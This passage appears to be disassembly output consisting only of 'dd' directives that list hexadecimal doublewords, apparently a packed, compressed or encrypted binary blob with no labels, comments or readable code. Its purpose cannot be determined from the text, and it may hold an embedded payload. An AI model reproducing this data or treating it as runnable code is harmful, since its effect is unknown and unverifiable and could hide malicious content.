		dd 6F0D0818h, 8015FF18h, 648049DCh, 6D08C45Dh, 0F4EC0628h
		dd 0B1986328h, 10186777h, 6808D157h, 4818C431h,	4D6C047Dh
		dd 84AEA06h, 20358B31h,	99999FD5h, 8DD308BFh, 0A90C6C79h
		dd 63D84188h, 1880FE0Ch, 4BB38850h, 8EC41C8h, 23082A66h
		dd 0C6740811h, 10789E0Ch, 290A81Eh, 51388161h, 190198Ch
		dd 88809C8h, 970C3CEEh,	622F20BEh, 0BD3408A9h, 3DBE102h
		dd 28189789h, 84085E4Eh, 7D18C687h, 0B2008C5h, 805154DFh
		dd 9FB8A893h, 0D410C646h, 8562216Dh, 2AD7F18h, 0DC035C8Ch
		dd 862132A0h, 0C002CC79h, 7080255h, 0F4447E05h,	1805F13Ah
		dd 59E45891h, 8C43992h,	4F0566E8h, 0C8CC485Eh, 15FB7F08h
		dd 0AB10C0CAh, 4F3A1036h, 10204118h, 8C638DEh, 311873CEh
		dd 5008968Fh, 5318886Ah, 98F11598h, 187E0810h, 78209902h
		dd 108C60Eh, 0BE54187Ah, 1E197DCh, 10888E8Fh, 0EA082C52h
		dd 9BC40D57h, 4120FF69h, 6B702ADAh, 8CCD54F8h, 5B38807Ch
		dd 32CB10CDh, 0C43F25F0h, 4A86818h, 2A0E4E43h, 32921930h
		dd 18F7CC08h, 8CE7518h,	18C40814h, 2004EB5Fh, 276F0479h
		dd 92187B04h, 9A02CB74h, 24DC4B1Ah, 986C9829h, 551FD1BAh
		dd 88461C8h, 8A185108h,	0C49E7D91h, 49F5908h, 6404FAACh
		dd 0D088045Fh, 15D4901Fh, 20E83D65h, 0B1DA6387h, 8193AB0h
		dd 0B91860FAh, 19118853h, 207F2B61h, 6C74178Eh,	478E104h
		dd 0CB041DF9h, 0F1A704A1h, 493F204h, 12095C3Bh,	2B84AC22h
		dd 3109DB24h, 9AE60822h, 1962C903h, 87A9410h, 0E2043586h
		dd 0B3524448h, 0F051FD81h, 0FC017D6Dh, 0C6142476h, 0F49C6080h
		dd 27A499E8h, 640906DEh, 0C72BA742h, 3F7C468Eh,	2C4701A7h
		dd 13EB0275h, 0B90E8D89h, 5E83DA7h, 8F440001h, 0C90B4940h
		dd 8B1CF775h, 0B7A2474h, 7EF003DEh, 0C0334359h,	4FB10FC0h
		dd 502C3069h, 0E9510CFAh, 92854A3h, 2DED09Fh, 281C368h
		dd 75C85A85h, 395FB06Ch, 51EDDB7h, 59648B28h, 70FBAE2h
		dd 0E9171994h, 5E11C3C7h, 10EAAB0h, 6843B2BCh, 0CAA3E5E1h
		dd 0B4385B77h, 1A1E4F59h, 0D1D34879h, 7F8829AAh, 8208BC0Bh
		dd 0C4D895ADh, 601A07B8h, 0CFC15E44h, 4501AF7h,	4634DAF0h
		dd 0C1EE8021h, 0E83F4B5Ch, 83D7C4C6h, 0CD0038ACh, 557CAC40h
		dd 50050DBDh, 77E95DD0h, 0BB4AA7BCh, 60072D3Ch,	0EAC2170Bh
		dd 347B865Eh, 1392718h,	0C08851FFh, 2E75BA22h, 577B1319h
		dd 1FE5F54Eh, 0D29DA2D8h, 0F739EA8Ch, 0C033253Ah, 2F32DC7Dh
		dd 8DF8234Eh, 80DCEC5Eh, 10C00EADh, 4A132AE9h, 35F0BDECh
		dd 0FBDAEA04h, 3C81421Fh, 17C95F2Fh, 0B5030120h, 0FCD4F209h
		dd 0F8447D52h, 0B0FEE420h, 4A2BEE90h, 729891B8h, 0C9D86B9Dh
		dd 285E5A54h, 0FC32E9EAh, 7F58104Bh, 0A02F1D6Fh, 73326DFDh
		dd 0FD862FE9h, 57721EDEh, 68C155F1h, 693B4901h,	73BE0133h
		dd 1457964Ch, 786A0B3h,	883B0ADFh, 478B8BD7h, 6FCDF901h
		dd 0FEA322CCh, 0DAF6C20Bh, 73B4F8D0h, 0BEC0250h, 132E5E9h
		dd 86EE7B55h, 44177808h, 65B3B24h, 454F6942h, 56681D7Ah
		dd 79E6A36Ah, 0FA4E2EB8h, 13CAB200h, 0D202728h,	0E74AE955h
		dd 0EA1A812Ch, 7C153843h, 0D7D2E8F0h, 9339F718h, 45D778A8h
		dd 0F2FDE344h, 92CD3982h, 0A30CAE01h, 9BAFF3Ch,	31EC7258h
		dd 900C2C50h, 5A357D9Bh, 95710930h, 0E1762952h,	5A4E0820h
		dd 0CB2F5CE1h, 51300077h, 0B3E97DC1h, 5982A8BCh, 3C763A4Fh
		dd 0E0D1A27Dh, 258A5EA1h, 0DAE24EEAh, 2E4FE263h, 0B85FB9E8h
		dd 511C7C0Fh, 0F83A63B1h, 720BE915h, 0A1D75AEEh, 0D74C1BA2h
		dd 54AFF1E7h, 3A72D061h, 0EF29EDA1h, 31AE2602h,	0F2586A32h
		dd 14D11263h, 3BB03901h
		dd 0A87CD1B3h, 13E7C0B0h, 0AEC78008h, 44121C5Fh, 7AF128BEh
		dd 0D143AD41h, 58DBC2C3h, 0CC014BFFh, 0B301536Ah, 0F0B55160h
		dd 0F6CCED80h, 5AE910D5h, 80875BDBh, 152BA81h, 713E882Eh
		dd 0F541E65Ah, 3E346346h, 0C0D1B82Fh, 7BA02CF0h, 29D64F29h
		dd 0E4D73A03h, 91AC80E9h, 0BD648245h, 61E9BF41h, 436EAFCDh
		dd 58C2C2D0h, 2D269870h, 535E5FF9h, 20FD648h, 76FA9705h
		dd 64B72B57h, 0E1107E34h, 563677C2h, 0EE84EC7Dh, 75BE80B0h
		dd 4179721Eh, 6A116D8Dh, 414DE53Eh, 7C2BC9B2h, 0C3FFA4D6h
		dd 0ED1E4D01h, 8C0B07E0h, 8DE1FE4Ah, 680C77A7h,	3BE18C3h
		dd 1E1BB90Eh, 84305039h, 88011C88h, 760EB377h, 696EC380h
		dd 0A0AB06F3h, 8478B58Dh, 0DD5128F2h, 7379FAE1h, 4EBC94Fh
		dd 0F9146693h, 61075605h, 0ACCF1B09h, 4E4E1793h, 0BC1FF693h
		dd 286CB230h, 0A2F264BFh, 0A7A477B4h, 0BBBE9585h, 0F50068Bh
		dd 14201242h, 7ADCB12Fh, 0B2792404h, 6C75C9EBh,	6AD3E020h
		dd 0B796A07Eh, 0EA2980FBh, 1390BCD0h, 85042435h, 4113DC8Fh
		dd 933F0E61h, 0A0722123h, 584C0888h, 51B2E520h,	4FE9DA06h
		dd 1AB0F44Eh, 0F995C679h, 0D59245B9h, 6EC1EB11h, 0DD30295Ch
		dd 0CD9F5FDAh, 42E704D1h, 1366C4E6h, 0BDE12C40h, 0A890316h
		dd 0D5166EB3h, 5F11B6F2h, 0E24AA1CEh, 35354F59h, 0C0EE7664h
		dd 4E796895h, 0C04B4EB4h, 61FBC50h, 0EEE9626Eh,	0C306D79Eh
		dd 766F79E2h, 3FA0050Ch, 845D70C5h, 0E7F89839h,	60E55E26h
		dd 9BB4227h, 2EA99608h,	8128F0E9h, 282C2EBEh, 0BFFE823h
		dd 0B2798EACh, 0BD2E5281h, 0A7AAA4AAh, 0ED85BEBh, 0E8675EB1h
		dd 0AF052468h, 8EF0533Bh, 10604E9h, 0DD60F99Dh,	0D3F1FD3h
		dd 0F3C5017Bh, 822A595Ah, 303BAA0Ch, 4010562h, 92C2DC6Ch
		dd 0A3FEC3A2h, 0F376DD28h, 9D585A26h, 0C150DB10h, 885925EBh
		dd 0A4ED540h, 2D5DF19Fh, 0C27958DEh, 0A904AE75h, 0D21CA3AFh
		dd 0AA33DF09h, 29183A07h, 12BEBAA1h, 7178C559h,	75431955h
		dd 8E8F7BA5h, 0C2CFE90Bh, 0DFE910F6h, 34686D18h, 46E91813h
		dd 0F1BB0640h, 0F414260Eh, 0E6FA95C8h, 0B4E6D0D0h, 0BD9B86FAh
		dd 7A46B804h, 84C04F47h, 12643504h, 17F477A4h, 4064CDD3h
		dd 3323CDFBh, 0EE810903h, 0C040164Ah, 0B538E94Eh, 51BF5C61h
		dd 96F861h, 64FED1B7h, 35FD4C7h, 993FDDBDh, 0E07B314Fh
		dd 20257704h, 0A9110A5Eh, 344BE9C1h, 0CF5CE09Bh, 0F7EADDE2h
		dd 73D11680h, 49813299h, 1359C2C4h, 604D0368h, 5BBD1E25h
		dd 0F6318C28h, 0E9740161h, 0E26B2165h, 42C51208h, 1ACD4741h
		dd 7520627Eh, 783676EDh, 0C9E9257Bh, 68166594h,	0DBCC6163h
		dd 4EFCF4CEh, 37C2F627h, 0EFD15C48h, 7E88327Fh,	2C0B644Eh
		dd 228E7DC4h, 0EB512891h, 8EB3104Fh, 0BE143D17h, 5DF6C43Ch
		dd 0DE3EEDF8h, 0CFF11CF7h, 0F5014BA1h, 0DF35B157h, 4E2056Fh
		dd 85C71291h, 2B14CD0Ah, 4AFBEEE4h, 2A72407Eh, 6815C579h
		dd 4B4C7138h, 351C29AEh, 27BD2044h, 57631217h, 6A6C1B00h
		dd 9DDA3116h, 8107CECCh, 0A61BAEE2h, 12FF0029h,	0B0516F21h
		dd 67D80412h, 0BA426196h, 84244C1Ch, 4DC726BFh,	53ECE016h
		dd 0E4D7F01Dh, 5FFA09B5h, 312E6190h, 47FDF781h,	0BFB53482h
		dd 57D471h, 3810355Ch, 6C186E04h, 1466F82h, 88248C4h, 0DF483260h
		dd 2B685B80h, 0CE84F86h, 4D101A94h, 0AF63A6ECh,	58FFEFA1h
		dd 50128A03h, 0F328403Dh, 4E542024h, 10249694h,	0BACC2C12h
		dd 50C42F68h, 0D425B3E6h, 0E97DF156h, 0E7E9A738h, 0ED838767h
		dd 28E43E77h, 9A0275EDh, 8972507Ch, 7737B800h, 806D5E03h
		dd 48E8D130h, 709C173h,	0D162DA68h, 5C6E8090h, 0C8096B18h
		dd 1B77E913h, 7AD57149h, 0E204A2Ch, 32C9AD9Eh, 0B26810E0h
		dd 8B39D19Fh, 5C385A54h, 32004AEAh, 0CA015598h,	0D00D31E9h
		dd 0B1E8D3Ah, 535EE540h, 52E45ED2h, 840DCD5Fh, 0E28961E9h
		dd 23A6D6CBh, 163C817Ch, 71D0BF08h, 13FF5D20h, 0EF58C601h
		dd 9DEC876h, 18124ABAh,	137EC582h, 2438268h, 51287A4Ch
		dd 41B0383Ah, 0DCDBA70Ah, 36E984F8h, 0C968030Fh, 0C5B7164Bh
		dd 2C60BF0Ah, 4A196038h, 0BA27A435h, 0A1068109h, 0FAA6004Dh
		dd 1C29F366h, 2B38AAE9h, 516884A0h, 783DE273h, 6B3E6A31h
		dd 0E216E0D7h, 0D68E039Fh, 43142ECFh, 65EA062Ah, 0DF4FAE18h
		dd 1955238Ch, 2AB1F3E9h, 0D5847F59h, 73C4188h, 0E9BF1532h
		dd 2023ED8Ch, 37BBC683h, 122E3208h, 625B0956h, 891AAE94h
		dd 41CB206Fh, 0AD815399h, 4D4191BDh, 0C1732047h, 229ED4Ch
		dd 4F1F4EC5h, 22AC40Ah,	0E9575EF1h, 535506EDh, 66226299h
		dd 59742E0Ch, 3B01A81Dh, 313C7F17h, 0FCD830DEh,	0E9F4CBD3h
		dd 12D76088h, 0AD1FD9B9h, 5C1F685Ah, 7957FE49h,	5EF342B4h
		dd 0A517C555h, 36ECF07Ch, 425B12C1h, 46AFA048h,	900CB8B0h
		dd 0E55AC06h, 0CD7102C6h, 0F129A243h, 205DCC5Fh, 9098FE23h
		dd 0A257A309h, 4AB77815h, 832AB25Ah, 844D1768h,	782FF7BBh
		dd 15DEF09h, 9AE71F9h, 572248C1h, 0C82F385Bh, 1C762FA4h
		dd 2DF5AF08h, 0E1E5978h, 69CD05D7h, 3D7E24D1h, 27562AC9h
		dd 67E92F90h, 55428274h, 3CC31182h, 7FD7145Dh, 4C664830h
		dd 815702C9h, 1DE92397h, 0E2ABD054h, 47011D34h,	4A5BC4A5h
		dd 87C9AC95h, 765B13D7h, 691F66BEh, 5628B804h, 40BB0390h
		dd 175DF768h, 1138E973h, 501B54BAh, 26146816h, 0CD4F48B3h
		dd 0EF413E23h, 7EE03D0h, 32A6886Fh, 570138B6h, 0D16461BFh
		dd 53B21696h, 1600BED3h, 7797203Ah, 58F20681h, 0C01E00Bh
		dd 7830F501h, 0F8DDE94Ah, 1249F23Ah, 35AF5677h,	84DDAB06h
		dd 0B9F4F697h, 0EC91505Eh, 9467312h, 0BAB4AFE8h, 3F2EA101h
		dd 0F8526655h, 0F62089B7h, 0CA554904h, 849EDEF5h, 0C23085B7h
		dd 0D2745B54h, 0DCB35304h, 0CA3E90FFh, 834EE950h, 20FF5B13h
		dd 284C3B52h, 0FF012325h, 604B3D99h, 0C082A1C3h, 14579214h
		dd 0CAA86852h, 0CB5A421Ch, 49222F87h, 0AB0F65C2h, 58F3A991h
		dd 0BD596A09h, 47750256h, 0DDC10EA4h, 0D7FC2C9Ah, 0AEE465FEh
		dd 26E9A3DCh, 921FE16Fh, 90921F59h, 80017740h, 0CEFE8BC6h
		dd 0EBCD6F6h, 0ED0FCCFh, 55E91A04h, 10A04CADh, 0CA4E3B8Dh
		dd 0A70634C0h, 0C4FCF3BFh, 89AFAB05h, 0D5374016h, 687EF602h
		dd 648B582Eh, 82867CA5h, 7F361996h, 0ED11C875h,	899050E4h
		dd 16F99031h, 24972AE9h, 0F828BA9Bh, 46B327E9h,	0FA9275D9h
		dd 0C9529D4Fh, 7B37082h, 3E4DC5BDh, 13EAD536h, 5E8F4BBDh
		dd 0EAEEB35Dh, 0F7B67835h, 2CC881FBh, 0FC5966D0h, 13FFEC41h
		dd 4BF051E9h, 4A7CCA06h, 12F4DC0Dh, 0F61DA07Eh,	6E2EA409h
		dd 2094807Fh, 6B9A9D23h, 0B4387AE9h, 98A2225h, 6330DFDEh
		dd 58260B0h, 0D91EFFD4h, 14D5868Dh, 6E2F982Eh, 3030B14Bh
		dd 4CF0B75Bh, 182E194Ch, 0CEF181FBh, 2019EB32h,	280496E8h
		dd 0F9311E3Fh, 8541A2AEh, 0F50901C1h, 68C59847h, 0F526413Bh
		dd 0BD3F64A1h, 4B72AE09h, 0B58F001Bh, 90A032C2h, 0AF495C01h
		dd 861E9281h, 0E8D5EC12h, 0C04EABB1h, 144756C2h, 0B79D9021h
		dd 4D64FE48h, 432D2E27h, 0C1FF9DDBh, 1477325Ah,	0F9055FF8h
		dd 0FB3D6D14h, 28548D1h, 62EB5780h, 1313040h, 86C88B7h
		dd 12935817h, 0BE2F4BC1h, 0BC42AF29h, 5F5E0073h, 0E2C3E5D1h
		dd 91E77241h, 0C8245545h, 0BD760F7h, 0F2CD815Dh, 57E66912h
		dd 92116D00h
		dd 5C012009h, 47C41CEFh, 0A00E129Ah, 38F305C5h,	5186C0AEh
		dd 77BC0D54h, 8C294902h, 0AE23DDF2h, 32F84DC6h,	62BF0133h
		dd 0E90801FEh, 8F2D6957h, 8339B400h, 94C98108h,	1FAD1209h
		dd 1D8EF541h, 0B3BEE982h, 99A44F5h, 11386848h, 2D00B446h
		dd 51FDF58h, 1EC56E09h,	0E8C80173h, 0A0E92507h,	0D2F71202h
		dd 6B8F2740h, 0B4FA897Fh, 5F1A9362h, 7FE3804Ah,	120F8A12h
		dd 0FB5AD529h, 6B4F29D8h, 62102FF9h, 5FB3F8EFh,	74545209h
		dd 5EBBC0E4h, 684C084Fh, 654010BAh, 0D029627Ah,	8380D0F7h
		dd 587C0DA7h, 0BB844150h, 45DE571Dh, 3CD4E181h,	0C81788Bh
		dd 22961C8Ch, 47023F49h, 40391E63h, 61612F3Ah, 70E9F838h
		dd 99F6664h, 3147D968h,	0A3E1A9B8h, 445CC541h, 1E0FF234h
		dd 0B8513D7Ah, 535B4F38h, 0F2168896h, 6D411A13h, 0F117902h
		dd 0F54A4080h, 0E03F0719h, 6917E978h, 66EBDF20h, 235B1160h
		dd 0F75B3DA6h, 44E91310h, 5F555080h, 0DBB8075Dh, 0D2202C6Dh
		dd 5A59BA65h, 825CFEC9h, 7BBB3233h, 654F2F40h, 0F6772B25h
		dd 16F76BE5h, 36DF0066h, 0B85029E9h, 9E2DFCE1h,	138F56F7h
		dd 0BF68C06Ch, 42FA7B41h, 85654DF4h, 0D81E5D14h, 10E5B50Ch
		dd 5F79010Dh, 6005661Dh, 3189ECC5h, 7BCC34Eh, 345EE9F1h
		dd 4A5A5A85h, 628FD6C2h, 421054FBh, 310151ABh, 0E02A5EF1h
		dd 25BE4E18h, 0E7DF327h, 3ACA7ABCh, 0C1E71C82h,	2EE916C6h
		dd 4BF33248h, 0DC25FFAh, 0F268255Dh, 359EC960h,	0E889179Ch
		dd 28ED105Ah, 381C2D19h, 14E4F9F8h, 2F9B1804h, 40BA0EE9h
		dd 2BA5F7B0h, 89395FD1h, 0CB02F9FBh, 10DC0C7Bh,	87FB804Bh
		dd 1238CAF4h, 0FD1279E9h, 5BDA1885h, 0E183AFF5h, 80070005h
		dd 0CDFE48C5h, 337061FAh, 53366BE1h, 0FD085FFCh, 885F0484h
		dd 0D9A77D32h, 8E4C013Ch, 200D8418h, 434BA4E9h,	387831E2h
		dd 0F5620AC4h, 2801E203h, 21702CD8h, 2BCE81Ch, 808CB551h
		dd 12548AF5h, 805C691Bh, 0F005EEC0h, 3A2361B9h,	2E5F9768h
		dd 2D70DD31h, 8694D939h, 680A1B20h, 0A5096C7Bh,	0E557BE0Bh
		dd 0C8112CCCh, 19E503E9h, 0B820626Bh, 145D4C77h, 0C0274A78h
		dd 19B5B85Fh, 2D1F51E6h, 0F056FAA3h, 2A21B17h, 42F334CFh
		dd 806EB5B6h, 0EA2CE758h, 2D18CF59h, 7C5BFA4h, 2926A24Bh
		dd 7CEEC3F9h, 67B53417h, 146DF30Bh, 0B5799583h,	0E1F05264h
		dd 64F0BD21h, 15BB2620h, 99D46858h, 1DFD8885h, 59EF03B2h
		dd 0DC205166h, 685702ABh, 71372292h, 0DC7F40DFh, 80645F21h
		dd 77185E99h, 0CE0539B0h, 7DEF2B2Ah, 0E0EE61C0h, 4AAA0F23h
		dd 4A788DE9h, 6613A5B9h, 9E071C07h, 0A95380Fh, 73E92E83h
		dd 7C3DF8BCh, 1DE3B521h, 967A123Fh, 2CA8E239h, 58B209E4h
		dd 0E1177BC8h, 4E508282h, 2B2DC046h, 1A450465h,	955FFE29h
		dd 42E01C5Dh, 0F331AA17h, 5728842h, 0B05A4CB0h,	4CCACF41h
		dd 32826B2Ch, 180E4432h, 286635Fh, 161FE523h, 19C03E27h
		dd 0C72D7D97h, 9058D861h, 38C209C4h, 25625B67h,	3EB4EA80h
		dd 30C04586h, 78175C49h, 5371BD21h, 959D870Ah, 4375FB82h
		dd 0C1405574h, 702E122Dh, 0D809465Bh, 18848455h, 1EC3530Ah
		dd 119089BBh, 0A7B10257h, 0BD5D22Fh, 9BE01F5Fh,	97778477h
		dd 0D1BB9FD0h, 13EC325Dh, 800198F2h, 0B07FEACBh, 0E3EDFE0Fh
		dd 0C3D97FABh, 0B6873BAEh, 13B76E19h, 600D6268h, 0A14D0CE7h
		dd 25E1265Ch, 276D5B14h, 0B8F2B4FEh, 4008E9C2h,	63EEB9A9h
		dd 0F02EDD2Dh, 0B0D7E63Fh, 1EB20016h, 0D5257C9Bh, 5D48D926h
		dd 46B77F4Eh, 0D3A3E3h,	51561B16h, 8C19E94Dh, 398020DEh
		dd 317C0353h, 494CF8DDh, 0FC5E7791h, 27A4A200h,	0A8426256h
		dd 8F685300h, 58D11777h, 60CDF15Bh, 24184C15h, 0CAA21AE7h
		dd 3A792D3Fh, 112C357Eh, 86402100h, 4B63E964h, 2395447Eh
		dd 2CFFAAFh, 0EB2E524Ah, 560A4920h, 5FB89A53h, 29862957h
		dd 44AA9270h, 166B55FFh, 81C3138Ch, 0B70161Ch, 0F7918268h
		dd 0F1CCC90Eh, 0E302C697h, 5B178715h, 9802CB46h, 0C14E04E6h
		dd 7305B61Eh, 81EFDB35h, 7E3B540Dh, 0DA0BFFC1h,	4EB7B76Ah
		dd 0E912ABB6h, 3EA9B591h, 0D6BE4DEh, 0B421F104h, 0E3E04C49h
		dd 0D1F76D0Fh, 72ECC449h, 0EC109DFEh, 0DAA8624Eh, 512648BBh
		dd 0C3002E5Fh, 12976925h, 0BA58B74Bh, 5BF198A0h, 2D0342Dh
		dd 157792h, 981D89BAh, 0D5011C74h, 0C581455Ah, 62ECF00Ch
		dd 4497B057h, 5BF6C305h, 0DF7C9025h, 6152E211h,	59CC520Ah
		dd 1038C6D6h, 2D7B37F9h, 32C0780Fh, 6D0662FBh, 0B47E91Ah
		dd 12BE7330h, 0BC05600Eh, 0EBC10997h, 1CCA5E03h, 0E0CB564Ch
		dd 0C72FE928h, 0C20853CEh, 0D155EC48h, 927C27FAh, 1F508759h
		dd 0BA6C15E9h, 0A3B60B4Ah, 0A702F388h, 0C45D2A58h, 6F77A0B2h
		dd 14D50A7Dh, 1B5D8F7h,	2BA71FF5h, 0F3F9E201h, 60E43542h
		dd 0C0487F0Ah, 8366E2Eh, 0F726432Dh, 0A51C6ADBh, 15411C4h
		dd 1313DA04h, 0C8EB7423h, 760B2A7Fh, 1BBA229h, 0F330E908h
		dd 0EED87F24h, 0FC3859A0h, 0FD79BE27h, 7684B881h, 0F7F410C0h
		dd 6F619677h, 48BE86A2h, 0CB88887Dh, 0A2667001h, 0C2DA0145h
		dd 5808044Ch, 496E1EBBh, 59C8E637h, 0A3124E4h, 884D182Ch
		dd 497DB800h, 0D421801h, 34D1209Ch, 52809644h, 12F2C22Dh
		dd 0B6094792h, 4813E52h, 4FB591EEh, 0F2AA3E84h,	2DEA83D9h
		dd 421F303h, 0A847D60Ch, 1FE1EB11h, 800C0806h, 0B0515D14h
		dd 2B9509ECh, 165D466Fh, 92C706F1h, 0C791017h, 0ADBD8305h
		dd 48C18999h, 31019FB8h, 0E42C6FF7h, 0AE3658Dh,	0F182F85Ch
		dd 3A38A3E9h, 86AED84Bh, 0F98B69Ah, 9190F0B5h, 9B5E498Dh
		dd 0EE305FC9h, 8091B56Dh, 89BE5C4Bh, 7256772Ah,	6638E95Bh
		dd 51D6B988h, 0FE2DAD00h, 0EA76B402h, 4A4C3158h, 6F32A19Eh
		dd 0BA2CF198h, 531E403Dh, 50D5558h, 6B3C6E63h, 91392BC8h
		dd 0DC6861CCh, 0C1463C28h, 7898714Bh, 10FFC36Ah, 0E6B068DBh
		dd 0CA2F6705h, 1E857427h, 0EC89E83Ah, 7658012Fh, 0F7EE8714h
		dd 560893D5h, 6919E952h, 50805E0Bh, 739C217Ah, 0ED316852h
		dd 4D1BF123h, 80BDF32Fh, 0C140C568h, 3C479336h,	6E812h
		dd 83DD6D8h, 0E637E96Fh, 0BFEE3825h, 72B1BEAEh,	0FEC4FBBAh
		dd 0A5AD32E9h, 0A9DD5F22h, 4E08166Bh, 6179EB56h, 82EC3454h
		dd 69CC68F0h, 9002EF93h, 42297764h, 74B840B2h, 0D6882D9Bh
		dd 1027056h, 0F0BBE9C6h, 264060EEh, 61459535h, 820E7169h
		dd 0BB5FEF7h, 40020EE1h, 9C44373Bh, 7868181Ch, 0CB59A561h
		dd 0F153B660h, 86B80271h, 1B7F00Fh, 0F3C62B68h,	5F331D13h
		dd 0A2EED6E0h, 2E2AC308h, 5F50A2h, 394673B7h, 56009EB8h
		dd 0E83137D7h, 0BBF89BE9h, 0BC511616h, 12503FE0h, 0E6F44F89h
		dd 47ABAC4h, 0A84DB9BAh, 4206C753h, 525CA966h, 0DC0A6202h
		dd 41DD03Bh, 0B7B46EADh, 0ED2CEB89h, 0B536B021h, 3B3F5951h
		dd 5E71AD8Fh, 5CB383D6h, 0E64C3119h, 89977A8Dh,	0C947F678h
		dd 49CEC675h, 0E908440Bh, 792C75A2h, 91FDDA3Bh,	1EC1EF92h
		dd 0FD6935A8h, 2639D005h, 8ED00940h, 9717145Dh,	30D5B742h
		dd 0D2C8A97Dh, 0E036B81Ch, 95FF54E9h, 2806DA6Eh, 348368D8h
		dd 0F53220A9h, 65125A4Ah, 0E9F0E9F8h, 0B9B1EB7Ch, 1144519Eh
		dd 7DD0109h, 1231807Bh,	0DAA041EDh, 0EC967818h,	0A5BF5740h
		dd 809E500Ch, 13720EEh,	7A59CF0Ah, 0EF01C54Ch, 6C5C42E5h
		dd 12BBF7F0h, 0B0B15377h
		dd 67EA05D9h, 2221E5Ch,	7EA1FA4h, 13CC229h, 73906807h
		dd 0FE055C26h, 10BDD3Ch, 6D1B4F91h, 2C0C817Eh, 0E979905Dh
		dd 888F08F5h, 0F654E889h, 77059910h, 0F6709F90h, 0FC71229Fh
		dd 62D87476h, 0B074CCABh, 7184FFC9h, 18FFE873h,	9C44E829h
		dd 881ECB90h, 0C5FEBC80h, 163AB050h, 0D326FF30h, 405205A1h
		dd 27308F4Fh, 82863C7Eh, 29130F8Ah, 0DE345BDEh,	0EE685DF4h
		dd 0EED7A81Bh, 0D10AC5C1h, 72CA07E3h, 807F595Fh, 0B80E1453h
		dd 56500210h, 80271268h, 0CE002EDCh, 2A307091h,	0AEE54EE9h
		dd 0DB3A9F46h, 0AC53FA1h, 0EE95CA6h, 0DE226FEDh, 16405A51h
		dd 0D5A049B6h, 0BD2B235h, 45E6C9BAh, 94648785h,	0CB19B43Bh
		dd 0FCB9F45Eh, 0F51341D4h, 0D835E16Fh, 1424549Bh, 6125C109h
		dd 0FC2B585Ah, 1982F3Fh, 0C0D8F6C4h, 13CAF06Bh,	53C950EBh
		dd 6B03F85Dh, 0D23C3E2Dh, 58FBFA69h, 60559090h,	6A72C458h
		dd 62FC01F8h, 525CB8BAh, 4160012Ah, 4F5F599Eh, 91396CF8h
		dd 0A7E325B6h, 7017E3E9h, 7C0F8DD9h, 32C1789Fh,	6E6A6880h
		dd 0F41A4AFDh, 0D23FF35Fh, 52670E14h, 0DBADBCE9h, 48103DBEh
		dd 69BC5AFEh, 2118C902h, 0FA007234h, 17F3B5FDh,	0B859CE01h
		dd 76D2E4D1h, 0E9DAA18Ch, 84C35578h, 4F6ADBFAh,	83C35FB2h
		dd 799102E9h, 1CDD6BBFh, 136DA62Ah, 13206E95h, 0E0934BDFh
		dd 6AE1605h, 3AA80667h,	0F7047332h, 41B8A63Eh, 0E0FF13BBh
		dd 0B93AC38Bh, 0E268AE3Bh, 9C0FF881h, 0E7F95F05h, 10AA5CD8h
		dd 5D7F774h, 578F2379h,	7143DCC6h, 887DB259h, 2D55E4F7h
		dd 8A7C60F4h, 5D459F82h, 3F7F70CBh, 39132405h, 718504Fh
		dd 0E4B40C4Ch, 0A5AAF62h, 0EF4B58B7h, 7CFA8461h, 0DADEA63Bh
		dd 5E65D72Bh, 0E70BF22Ch, 0B9E776E5h, 84881D4Fh, 0ED1BF5BDh
		dd 0D0628424h, 0C51EA013h, 43624B98h, 5C870B80h, 0C06850BEh
		dd 6EB3765Bh, 8098D25h,	2C8FCDD5h, 0A675A4Ch, 51DCE905h
		dd 5F5B7A49h, 34D57409h, 0C0204B4Fh, 0D0215FDCh, 0B5B2CC95h
		dd 1A250E68h, 9F824D3h,	6D27E9B8h, 31C3C62Ah, 80402718h
		dd 97270C2h, 0D0DD4569h, 1EBC34ECh, 618AEF20h, 0B7515A13h
		dd 621C8955h, 0C0B6F712h, 4CEA3020h, 0F71E5259h, 151E9BDDh
		dd 97A782CCh, 9D0BCB7Ah, 0DE644639h, 25E94272h,	5D4A9EF0h
		dd 0FC93E7F9h, 20A9D436h, 0A061C9D6h, 0A9B819A1h, 2D9E6027h
		dd 8CCCE109h, 939AD5E8h, 54B3C361h, 0A07990C2h,	40BD1277h
		dd 0FAD14555h, 0F16AD3A2h, 0F3828395h, 2DE07h, 0F6CF472Eh
		dd 139F2DBBh, 6A55AB2Ch, 5A070514h, 51075DA8h, 3431B6B9h
		dd 423A84Eh, 85E0919h, 2F4413A1h, 63EF3DABh, 9680973h
		dd 88E9F123h, 7C25FAFFh, 0CA6A6B8h, 6A2FF14Fh, 0CD3C6344h
		dd 0C088E74Ch, 3D0A3B6Ch, 0E7D1F749h, 0BDF113B4h, 0A464B93Eh
		dd 7527C2BAh, 660909F6h, 0F39E8FFh, 84182E4h, 51302E3Ch
		dd 13FE6850h, 2C274272h, 9A003502h, 2D41BD16h, 16B63463h
		dd 0A01FE962h, 22B9584Fh, 3FC445A5h, 2177DE31h,	0ECDADCCBh
		dd 81A52C99h, 1570684Ah, 0C7E0316Bh, 2D4B7D82h,	0B0A4DA8Fh
		dd 6061FC3Ch, 9ABE1C7Fh, 2D01A326h, 3B6AF681h, 2C78377Dh
		dd 29A8CE04h, 0B505EA10h, 8D58AED2h, 1C16EE1Ch,	655A3C08h
		dd 0AC280DEh, 0F8E7F769h, 55299020h, 0BF83D51Bh, 0E9C73B28h
		dd 0C3FAEFD1h, 0A06A0A9h, 6F89486Ah, 0F44E713Eh, 44022B54h
		dd 88684DF1h, 12CB4849h, 0EF51CE6Fh, 0CE2BF84Fh, 55AD79A3h
		dd 9A36B812h, 5F80E72Ch, 813A7535h, 7201344Ah, 72277844h
		dd 49567CE3h, 98224E84h, 6709E517h, 770902A3h, 0C9B76DC6h
		dd 76E52E9h, 99D15DE0h,	24EB8700h, 4F984D28h, 0B5FB7D20h
		dd 3E593CE1h, 34AE0216h, 67AAC0B7h, 7D5B0A32h, 3D7136E8h
		dd 17F24D1Bh, 0A47A91E9h, 4E408E88h, 40F76853h,	1F1909FAh
		dd 2F449022h, 1E8B402Bh, 6A4C0951h, 8F294159h, 0F7E90587h
		dd 715B99EEh, 700DF600h, 5E096D7Bh, 8DECBF1h, 2775CDE9h
		dd 0E27DB2A2h, 1CDF574Ah, 0E9400B03h, 43C9AAF0h, 5900DE08h
		dd 3A3D7F05h, 8E853B81h, 0FE778AC6h, 394BB0C0h,	92F3EA70h
		dd 0BDD2F244h, 0CB689998h, 0EBF3BFh, 0C0DCF68Bh, 0F89703E4h
		dd 0C2E90A2Ch, 50FC010Bh, 0A097A0E3h, 0A4799D18h, 2CCF9631h
